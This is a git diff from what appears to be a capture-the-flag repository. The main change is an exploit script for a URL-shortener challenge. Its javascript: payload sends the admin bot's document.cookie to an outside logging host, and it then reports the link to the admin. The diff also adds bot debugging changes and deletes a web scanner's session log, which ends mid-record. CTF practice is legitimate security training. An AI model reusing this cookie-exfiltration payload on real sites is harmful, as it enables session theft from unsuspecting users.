diff --git a/byuctf/forensics/windows/.gitignore b/byuctf/forensics/windows/.gitignore index 0a271c9..a9346fa 100644 --- a/byuctf/forensics/windows/.gitignore +++ b/byuctf/forensics/windows/.gitignore @@ -1 +1,2 @@ byuctf-windows.ova +byuctf-wimdows.ova diff --git a/byuctf/forensics/windows/shared/update.exe b/byuctf/forensics/windows/shared/update.exe new file mode 100644 index 0000000..b7f55ba Binary files /dev/null and b/byuctf/forensics/windows/shared/update.exe differ diff --git a/catthegray25/ezpz/dist-oops.zip b/catthegray25/ezpz/dist-oops.zip new file mode 100644 index 0000000..51c915a Binary files /dev/null and b/catthegray25/ezpz/dist-oops.zip differ diff --git a/catthegray25/ezpz/dist-oops/admin/Dockerfile b/catthegray25/ezpz/dist-oops/admin/Dockerfile index 009f71d..74a1d2e 100644 --- a/catthegray25/ezpz/dist-oops/admin/Dockerfile +++ b/catthegray25/ezpz/dist-oops/admin/Dockerfile @@ -3,4 +3,4 @@ FROM ghcr.io/puppeteer/puppeteer:latest WORKDIR /home/pptruser/ COPY bot.js . -CMD ["node", "bot.js"] \ No newline at end of file +CMD ["node", "bot.js"] diff --git a/catthegray25/ezpz/dist-oops/admin/bot.js b/catthegray25/ezpz/dist-oops/admin/bot.js index fca3d1b..d226b94 100644 --- a/catthegray25/ezpz/dist-oops/admin/bot.js +++ b/catthegray25/ezpz/dist-oops/admin/bot.js @@ -12,7 +12,7 @@ const getBrowser = async () => { } return await puppeteer.launch({ headless: true, - args: ['--js-flags=--jitless', '--no-sandbox', '--disable-setuid-sandbox'] + args: ['--js-flags=--jitless', '--no-sandbox', '--disable-setuid-sandbox', '--enable-logging', '--v=1'] }) } @@ -27,6 +27,8 @@ const visitSubmission = async (id) => { const browser = await getBrowser() const page = await browser.newPage() const hostname = new URL(BASE_URL).hostname + const fullUrl = BASE_URL + id; + console.log('[+] Navigating to:', fullUrl); await page.setCookie({ name: 'admin_flag', value: FLAG, @@ -36,8 +38,15 @@ const visitSubmission = async (id) => { secure: false }) try { - await page.goto(BASE_URL + id, { waitUntil: 'networkidle2', timeout: 5000 }) - } + const response = await page.goto(fullUrl, { + waitUntil: 'networkidle2', + timeout: 5000 + }); + + console.log('[+] Navigation succeeded:', response.status()); + const finalUrl = page.url(); + console.log('[+] Final URL after redirects:', finalUrl); + } catch (e) { console.log(e) } diff --git a/catthegray25/ezpz/dist-oops/compose.yaml b/catthegray25/ezpz/dist-oops/compose.yaml index 7b1487c..94c7a7b 100644 --- a/catthegray25/ezpz/dist-oops/compose.yaml +++ b/catthegray25/ezpz/dist-oops/compose.yaml @@ -6,6 +6,8 @@ services: dockerfile: Dockerfile ports: - "33001:5000" + networks: + - webnet admin: container_name: web-oops-admin build: @@ -13,4 +15,11 @@ services: dockerfile: Dockerfile restart: always environment: - - FLAG=grey{fake_flag} \ No newline at end of file + - FLAG=grey{fake_flag} + dns: + - 8.8.8.8 + networks: + - webnet + +networks: + webnet: diff --git a/catthegray25/ezpz/dist-oops/exploit.py b/catthegray25/ezpz/dist-oops/exploit.py index 5f0a1ca..f326e15 100644 --- a/catthegray25/ezpz/dist-oops/exploit.py +++ b/catthegray25/ezpz/dist-oops/exploit.py @@ -1,15 +1,18 @@ import requests from bs4 import BeautifulSoup -LOCAL = True +LOCAL = False if LOCAL: TARGET = "http://localhost:33001/" else: TARGET = "http://challs2.nusgreyhats.org:33001/" # Change this to actual challenge -CALLBACK = "http://oops.cato447.de/log" +MALICIOUS_SERVER = "https://oops.cato447.de" +CALLBACK = f"{MALICIOUS_SERVER}/log" + + +payload_url = "javascript:window.location.replace(`https://oops.cato447.de/log?c=` + document.cookie)" -payload_url = f"{CALLBACK}/payload" print("[*] Submitting payload...") res = requests.post(f"{TARGET}/", data={"original_url": payload_url}) @@ -22,18 +25,9 @@ short_url = short_input["value"] print(f"[+] Short URL: {short_url}") print("[*] Submitting short url...") -res = requests.post(f"{TARGET}/", data={"original_url": short_url}) -assert res.ok - -soup = BeautifulSoup(res.text, "html.parser") -short_pointer_input = soup.find("input", {"id": "shortenedUrl"}) -assert short_pointer_input, "Shortened pointer URL input not found" -short_pointer_url = short_pointer_input["value"] -print(f"[+] Short pointer URL: {short_pointer_url}") - print("[*] Reporting...") -report = requests.post(f"{TARGET}/report", data={"submit_id": short_pointer_url}) +report = requests.post(f"{TARGET}/report", data={"submit_id": short_url}) if report.ok: print("[+] Reported to admin — wait for callback!") else: diff --git a/catthegray25/ezpz/dist-oops/oops.session.data b/catthegray25/ezpz/dist-oops/oops.session.data index 6b9dedd..215f30c 100644 Binary files a/catthegray25/ezpz/dist-oops/oops.session.data and b/catthegray25/ezpz/dist-oops/oops.session.data differ diff --git a/catthegray25/ezpz/dist-oops/oops.session.lck b/catthegray25/ezpz/dist-oops/oops.session.lck deleted file mode 100644 index 4aebdc4..0000000 Binary files a/catthegray25/ezpz/dist-oops/oops.session.lck and /dev/null differ diff --git a/catthegray25/ezpz/dist-oops/oops.session.log b/catthegray25/ezpz/dist-oops/oops.session.log deleted file mode 100644 index f067e4d..0000000 --- a/catthegray25/ezpz/dist-oops/oops.session.log +++ /dev/null @@ -1,1495 +0,0 @@ -/*C2*/SET SCHEMA PUBLIC -SET FILES LOG TRUE -/*C16*/SET SCHEMA PUBLIC -SET SCHEMA "PUBLIC" -DISCONNECT -/*C3*/SET SCHEMA PUBLIC -INSERT INTO HISTORY VALUES(1,1748722598281,1,200,1748722886528,571,'GET','http://challs2.nusgreyhats.org:33001/','GET http://challs2.nusgreyhats.org:33001/ HTTP/1.1\u000d\u000ahost: challs2.nusgreyhats.org:33001\u000d\u000auser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\u000d\u000apragma: no-cache\u000d\u000acache-control: no-cache\u000d\u000a\u000d\u000a','','HTTP/1.1 200 OK\u000d\u000aServer: gunicorn\u000d\u000aDate: Sat, 31 May 2025 20:21:28 GMT\u000d\u000aConnection: close\u000d\u000aContent-Type: text/html; charset=utf-8\u000d\u000aContent-Length: 5416\u000d\u000a\u000d\u000a','3c21444f43545950452068746d6c3e0a3c68746d6c206c616e673d22656e223e0a3c686561643e0a202020203c6d65746120636861727365743d225554462d38223e0a202020203c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d77696474682c20696e697469616c2d7363616c653d312e30223e0a202020203c7469746c653e55524c2053686f7274656e65723c2f7469746c653e0a202020203c6c696e6b20687265663d2268747470733a2f2f63646e6a732e636c6f7564666c6172652e636f6d2f616a61782f6c6962732f626f6f7473747261702f352e332e302f6373732f626f6f7473747261702e6d696e2e637373222072656c3d227374796c657368656574223e0a202020203c6c696e6b20687265663d2268747470733a2f2f63646e6a732e636c6f7564666c6172652e636f6d2f616a61782f6c6962732f666f6e742d617765736f6d652f362e302e302f6373732f616c6c2e6d696e2e637373222072656c3d227374796c657368656574223e0a202020203c7374796c653e0a2020202020202020626f6479207b0a2020202020202020202020206261636b67726f756e643a206c696e6561722d6772616469656e74283133356465672c20233636376565612030252c20233736346261322031303025293b0a2020202020202020202020206d696e2d6865696768743a2031303076683b0a20202020202020207d0a20202020202020202e63617264207b0a202020202020202020202020626f726465723a206e6f6e653b0a202020202020202020202020626f726465722d7261646975733a20313570783b0a202020202020202020202020626f782d736861646f773a203020313070782033307078207267626128302c302c302c302e32293b0a20202020202020207d0a20202020202020202e62746e2d7072696d617279207b0a2020202020202020202020206261636b67726f756e643a206c696e6561722d6772616469656e742834356465672c20233636376565612c2023373634626132293b0a202020202020202020202020626f726465723a206e6f6e653b0a202020202020202020202020626f726465722d7261646975733a20323570783b0a20202020202020207d0a20202020202020202e62746e2d7072696d6172793a686f766572207b0a2020202020202020202020207472616e73666f726d3a207472616e736c61746559282d327078293b0a202020202020202020202020626f782d736861646f773a2030203570782031357078207267626128302c302c302c302e33293b0a20202020202020207d0a20202020202020202e666f726d2d636f6e74726f6c207b0a202020202020202020202020626f726465722d7261646975733a20323570783b0a202020202020202020202020626f726465723a2032707820736f6c696420236539656365663b0a20202020202020207d0a20202020202020202e666f726d2d636f6e74726f6c3a666f637573207b0a202020202020202020202020626f726465722d636f6c6f723a20233636376565613b0a202020202020202020202020626f782d736861646f773a20302030203020302e3272656d2072676261283130322c203132362c203233342c20302e3235293b0a20202020202020207d0a20202020202020202e75726c2d6974656d207b0a2020202020202020202020206261636b67726f756e643a2072676261283235352c3235352c3235352c302e31293b0a202020202020202020202020626f726465722d7261646975733a20313070783b0a2020202020202020202020207472616e736974696f6e3a20616c6c20302e337320656173653b0a20202020202020207d0a20202020202020202e75726c2d6974656d3a686f766572207b0a2020202020202020202020206261636b67726f756e643a2072676261283235352c3235352c3235352c302e32293b0a2020202020202020202020207472616e73666f726d3a207472616e736c61746559282d327078293b0a20202020202020207d0a20202020202020202e636f70792d62746e207b0a202020202020202020202020626f726465722d7261646975733a20323070783b0a20202020202020207d0a20202020202020202e73746174732d6261646765207b0a2020202020202020202020206261636b67726f756e643a2072676261283235352c3235352c3235352c302e32293b0a202020202020202020202020636f6c6f723a2077686974653b0a202020202020202020202020626f726465722d7261646975733a20323070783b0a20202020202020207d0a202020203c2f7374796c653e0a3c2f686561643e0a3c626f64793e0a202020203c64697620636c6173733d22636f6e7461696e6572206d742d35223e0a20202020202020203c64697620636c6173733d22726f77206a7573746966792d636f6e74656e742d63656e746572223e0a2020202020202020202020203c64697620636c6173733d22636f6c2d6d642d38223e0a202020202020202020202020202020203c64697620636c6173733d2263617264223e0a20202020202020202020202020202020202020203c64697620636c6173733d22636172642d626f647920702d35223e0a2020202020202020202020202020202020202020202020203c683120636c6173733d22746578742d63656e746572206d622d34223e0a202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d6c696e6b20746578742d7072696d617279223e3c2f693e0a2020202020202020202020202020202020202020202020202020202055524c2053686f7274656e65720a2020202020202020202020202020202020202020202020203c2f68313e0a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d222f223e0a202020202020202020202020202020202020202020202020202020203c64697620636c6173733d22696e7075742d67726f7570206d622d33223e0a20202020202020202020202020202020202020202020202020202020202020203c7370616e20636c6173733d22696e7075742d67726f75702d74657874223e0a2020202020202020202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d676c6f6265223e3c2f693e0a20202020202020202020202020202020202020202020202020202020202020203c2f7370616e3e0a20202020202020202020202020202020202020202020202020202020202020203c696e70757420747970653d2275726c2220636c6173733d22666f726d2d636f6e74726f6c22206e616d653d226f726967696e616c5f75726c22200a202020202020202020202020202020202020202020202020202020202020202020202020202020706c616365686f6c6465723d22456e74657220796f7572206c6f6e672055524c20686572652e2e2e222072657175697265643e0a20202020202020202020202020202020202020202020202020202020202020203c627574746f6e20636c6173733d2262746e2062746e2d7072696d6172792070782d342220747970653d227375626d6974223e0a2020202020202020202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d636f6d70726573732d616c74223e3c2f693e2053686f7274656e0a20202020202020202020202020202020202020202020202020202020202020203c2f627574746f6e3e0a202020202020202020202020202020202020202020202020202020203c2f6469763e0a2020202020202020202020202020202020202020202020203c2f666f726d3e0a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a20202020202020202020202020202020202020203c2f6469763e0a202020202020202020202020202020203c2f6469763e0a202020202020202020202020202020200a2020202020202020202020203c2f6469763e0a20202020202020203c2f6469763e0a202020203c2f6469763e0a0a202020203c64697620636c6173733d22636f6e7461696e6572206d742d35223e0a20202020202020203c64697620636c6173733d22726f77206a7573746966792d636f6e74656e742d63656e746572223e0a2020202020202020202020203c64697620636c6173733d22636f6c2d6d642d38223e0a202020202020202020202020202020203c64697620636c6173733d2263617264223e0a20202020202020202020202020202020202020203c64697620636c6173733d22636172642d626f647920702d35223e0a2020202020202020202020202020202020202020202020203c683120636c6173733d22746578742d63656e746572206d622d34223e0a202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d666c616720746578742d7072696d617279223e3c2f693e0a202020202020202020202020202020202020202020202020202020205265706f72742055524c0a2020202020202020202020202020202020202020202020203c2f68313e0a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020200a2020202020202020202020202020202020202020202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d222f7265706f7274223e0a202020202020202020202020202020202020202020202020202020203c64697620636c6173733d22696e7075742d67726f7570206d622d33223e0a20202020202020202020202020202020202020202020202020202020202020203c7370616e20636c6173733d22696e7075742d67726f75702d74657874223e0a2020202020202020202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d676c6f6265223e3c2f693e0a20202020202020202020202020202020202020202020202020202020202020203c2f7370616e3e0a20202020202020202020202020202020202020202020202020202020202020203c696e70757420747970653d2275726c2220636c6173733d22666f726d2d636f6e74726f6c22206e616d653d227375626d69745f696422200a202020202020202020202020202020202020202020202020202020202020202020202020202020706c616365686f6c6465723d22456e74657220746865207375732055524c20686572652e2e2e222072657175697265643e0a20202020202020202020202020202020202020202020202020202020202020203c627574746f6e20636c6173733d2262746e2062746e2d7072696d6172792070782d342220747970653d227375626d6974223e0a2020202020202020202020202020202020202020202020202020202020202020202020203c6920636c6173733d226661732066612d68616d6d6572223e3c2f693e205265706f72740a20202020202020202020202020202020202020202020202020202020202020203c2f627574746f6e3e0a202020202020202020202020202020202020202020202020202020203c2f6469763e0a2020202020202020202020202020202020202020202020203c2f666f726d3e0a2020202020202020202020202020202020202020202020200a20202020202020202020202020202020202020203c2f6469763e0a202020202020202020202020202020203c2f6469763e0a202020202020202020202020202020200a2020202020202020202020203c2f6469763e0a20202020202020203c2f6469763e0a202020203c2f6469763e0a202020200a202020203c736372697074207372633d2268747470733a2f2f63646e6a732e636c6f7564666c6172652e636f6d2f616a61782f6c6962732f626f6f7473747261702f352e332e302f6a732f626f6f7473747261702e62756e646c652e6d696e2e6a73223e3c2f7363726970743e0a202020203c7363726970743e0a202020202020202066756e6374696f6e20636f7079546f436c6970626f617264287465787429207b0a202020202020202020202020636f6e73742074657874546f436f7079203d2074657874207c7c20646f63756d656e742e676574456c656d656e7442794964282773686f7274656e656455726c27292e76616c75653b0a2020202020202020202020206e6176696761746f722e636c6970626f6172642e7772697465546578742874657874546f436f7079292e7468656e2866756e6374696f6e2829207b0a202020202020202020202020202020202f2f2053686f77207375636365737320666565646261636b0a20202020202020202020202020202020636f6e73742062746e203d206576656e742e7461726765742e636c6f736573742827627574746f6e27293b0a20202020202020202020202020202020636f6e7374206f726967696e616c48544d4c203d2062746e2e696e6e657248544d4c3b0a2020202020202020202020202020202062746e2e696e6e657248544d4c203d20273c6920636c6173733d226661732066612d636865636b223e3c2f693e20436f7069656421273b0a2020202020202020202020202020202062746e2e636c6173734c6973742e72656d6f7665282762746e2d6f75746c696e652d7072696d61727927293b0a2020202020202020202020202020202062746e2e636c6173734c6973742e616464282762746e2d7375636365737327293b0a202020202020202020202020202020200a2020202020202020202020202020202073657454696d656f7574282829203d3e207b0a202020202020202020202020202020202020202062746e2e696e6e657248544d4c203d206f726967696e616c48544d4c3b0a202020202020202020202020202020202020202062746e2e636c6173734c6973742e72656d6f7665282762746e2d7375636365737327293b0a202020202020202020202020202020202020202062746e2e636c6173734c6973742e616464282762746e2d6f75746c696e652d7072696d61727927293b0a202020202020202020202020202020207d2c2032303030293b0a2020202020202020202020207d293b0a20202020202020207d0a202020203c2f7363726970743e0a3c2f626f64793e0a3c2f68746d6c3e',NULL,'',TRUE) -COMMIT -INSERT INTO HISTORY VALUES(2,1748722598281,0,0,0,0,'GET','http://challs2.nusgreyhats.org:33001','GET http://challs2.nusgreyhats.org:33001 HTTP/1.1\u000d\u000ahost: challs2.nusgreyhats.org:33001\u000d\u000auser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\u000d\u000apragma: no-cache\u000d\u000acache-control: no-cache\u000d\u000a\u000d\u000a','','','',NULL,'',FALSE) -COMMIT -INSERT INTO HISTORY VALUES(3,1748722598281,9,0,0,0,'GET','http://challs2.nusgreyhats.org:33001/','GET http://challs2.nusgreyhats.org:33001/ HTTP/1.1\u000d\u000ahost: challs2.nusgreyhats.org:33001\u000d\u000auser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\u000d\u000apragma: no-cache\u000d\u000acache-control: no-cache\u000d\u000a\u000d\u000a','','','',NULL,'',FALSE) -COMMIT -INSERT INTO HISTORY VALUES(4,1748722598281,9,0,0,0,'GET','http://challs2.nusgreyhats.org:33001/robots.txt','GET http://challs2.nusgreyhats.org:33001/robots.txt HTTP/1.1\u000d\u000ahost: challs2.nusgreyhats.org:33001\u000d\u000auser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\u000d\u000apragma: no-cache\u000d\u000acache-control: no-cache\u000d\u000a\u000d\u000a','','','',NULL,'',FALSE) -COMMIT -DELETE FROM HISTORY WHERE HISTORYID=3 -COMMIT -INSERT INTO HISTORY VALUES(5,1748722598281,9,0,0,0,'GET','http://challs2.nusgreyhats.org:33001/sitemap.xml','GET http://challs2.nusgreyhats.org:33001/sitemap.xml HTTP/1.1\u000d\u000ahost: challs2.nusgreyhats.org:33001\u000d\u000auser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\u000d\u000apragma: no-cache\u000d\u000acache-control: no-cache\u000d\u000a\u000d\u000a','','','',NULL,'',FALSE) -COMMIT -DELETE FROM HISTORY WHERE HISTORYID=4 -COMMIT -DELETE FROM HISTORY WHERE HISTORYID=5 -COMMIT -/*C8*/SET SCHEMA PUBLIC -INSERT INTO TAG VALUES(1,1,'Form') -COMMIT -/*C10*/SET SCHEMA PUBLIC -INSERT INTO PARAM VALUES(1,'challs2.nusgreyhats.org:33001','header','Server',1,'','gunicorn') -COMMIT -INSERT INTO PARAM VALUES(2,'challs2.nusgreyhats.org:33001','header','Date',1,'','Sat%2C 31 May 2025 20:21:28 GMT') -COMMIT -INSERT INTO PARAM VALUES(3,'challs2.nusgreyhats.org:33001','header','Connection',1,'','close') -COMMIT -INSERT INTO PARAM VALUES(4,'challs2.nusgreyhats.org:33001','header','Content-Type',1,'','text/html; charset=utf-8') -COMMIT -/*C8*/INSERT INTO TAG VALUES(2,1,'Script') -COMMIT -/*C10*/INSERT INTO PARAM VALUES(5,'challs2.nusgreyhats.org:33001','header','Content-Length',1,'','5416') -COMMIT -/*C5*/SET SCHEMA PUBLIC -INSERT INTO ALERT VALUES(0,0,10020,'Missing Anti-clickjacking Header',2,2,'The response does not protect against ''ClickJacking'' attacks. It should include either Content-Security-Policy with ''frame-ancestors'' directive or X-Frame-Options.','http://challs2.nusgreyhats.org:33001/','x-frame-options','','Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app.\u000aIf you expect the page to be framed only by pages on your server (e.g. it''s part of a FRAMESET) then you''ll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy''s "frame-ancestors" directive.','https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options',1,1,'','',1021,15,3,'','10020-1') -COMMIT -/*C6*/SET SCHEMA PUBLIC -INSERT INTO ALERT_TAG VALUES(1,0,'WSTG-v42-CLNT-09','https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking') -COMMIT -INSERT INTO ALERT_TAG VALUES(2,0,'OWASP_2021_A05','https://owasp.org/Top10/A05_2021-Security_Misconfiguration/') -COMMIT -INSERT INTO ALERT_TAG VALUES(3,0,'OWASP_2017_A06','https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration.html') -COMMIT -INSERT INTO ALERT_TAG VALUES(4,0,'CWE-1021','https://cwe.mitre.org/data/definitions/1021.html') -COMMIT -/*C5*/INSERT INTO ALERT VALUES(1,0,10038,'Content Security Policy (CSP) Header Not Set',2,3,'Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page \u2014 covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.','http://challs2.nusgreyhats.org:33001/','','','Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.','https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy\u000ahttps://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html\u000ahttps://www.w3.org/TR/CSP/\u000ahttps://w3c.github.io/webappsec-csp/\u000ahttps://web.dev/articles/csp\u000ahttps://caniuse.com/#feat=contentsecuritypolicy\u000ahttps://content-security-policy.com/',1,1,'','',693,15,3,'','10038-1') -COMMIT -/*C6*/INSERT INTO ALERT_TAG VALUES(5,1,'CWE-693','https://cwe.mitre.org/data/definitions/693.html') -COMMIT -INSERT INTO ALERT_TAG VALUES(6,1,'OWASP_2021_A05','https://owasp.org/Top10/A05_2021-Security_Misconfiguration/') -COMMIT -INSERT INTO ALERT_TAG VALUES(7,1,'OWASP_2017_A06','https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration.html') -COMMIT -/*C5*/INSERT INTO ALERT VALUES(2,0,10017,'Cross-Domain JavaScript Source File Inclusion',1,2,'The page includes one or more script files from a third-party domain.','http://challs2.nusgreyhats.org:33001/','https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js','','Ensure JavaScript source files are loaded from only trusted sources, and the sources can''t be controlled by end users of the application.','',1,1,'','',829,15,3,'','10017') -COMMIT -/*C6*/INSERT INTO ALERT_TAG VALUES(8,2,'OWASP_2021_A08','https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/') -COMMIT -INSERT INTO ALERT_TAG VALUES(9,2,'CWE-829','https://cwe.mitre.org/data/definitions/829.html') -COMMIT -/*C5*/INSERT INTO ALERT VALUES(3,0,10202,'Absence of Anti-CSRF Tokens',2,1,'No Anti-CSRF tokens were found in a HTML submission form.\u000aA cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.\u000a\u000aCSRF attacks are effective in a number of situations, including:\u000a * The victim has an active session on the target site.\u000a * The victim is authenticated via HTTP auth on the target site.\u000a * The victim is on the same local network as the target site.\u000a\u000aCSRF has primarily been used to perform an action against a target site using the victim''s privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.','http://challs2.nusgreyhats.org:33001/','','No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "original_url" ].','Phase: Architecture and Design\u000aUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\u000aFor example, use anti-CSRF packages such as the OWASP CSRFGuard.\u000a\u000aPhase: Implementation\u000aEnsure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.\u000a\u000aPhase: Architecture and Design\u000aGenerate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).\u000aNote that this can be bypassed using XSS.\u000a\u000aIdentify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.\u000aNote that this can be bypassed using XSS.\u000a\u000aUse the ESAPI Session Management control.\u000aThis control includes a component for CSRF.\u000a\u000aDo not use the GET method for any request that triggers a state change.\u000a\u000aPhase: Implementation\u000aCheck the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.','https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html\u000ahttps://cwe.mitre.org/data/definitions/352.html',1,1,'','